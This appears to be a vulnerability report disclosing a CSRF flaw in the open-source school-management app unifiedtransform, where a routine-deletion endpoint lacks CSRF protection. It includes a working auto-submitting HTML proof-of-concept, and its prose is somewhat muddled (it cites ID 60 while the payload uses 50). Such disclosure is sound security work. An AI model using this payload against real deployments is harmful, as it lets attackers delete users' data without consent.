Cross-Site Request Forgery (CSRF) in changeweb/unifiedtransform

Valid

Reported on

Jul 26th 2021

✍️ Description

When you don't set the SameSite attribute of cookies the browsers have special act in front of this issue.(I mean set default value on it) chrome and chromium based browsers set the attribute "Lax" that mean if you do add/delete/alter operation in a get HTTP request then your site more vulnerable with CSRF attacks. But Firefox ( one of big ones ) don't set this attribute to "Lax" and set it to "none" that makes all POST and GET requests more Vulnerable to CSRF attack.

Unifiedtransform set SameSite attribute to nothings, then If don't set any CSRF protection in Requests then your site vulnerable to POST and Get requests in Chrome and Firefox and Get requests in Chrome.

Your application in following endpoint have not any CSRF protection: http://localhost:8000/academic/remove/routine/{id}

First of all, you should run this Html payload and then you should see that the routines with 60 Id are removed now.

🕵️‍♂️ Proof of Concept

// PoC.html

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
      <form action="http://localhost:8000/academic/remove/routine/50">
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>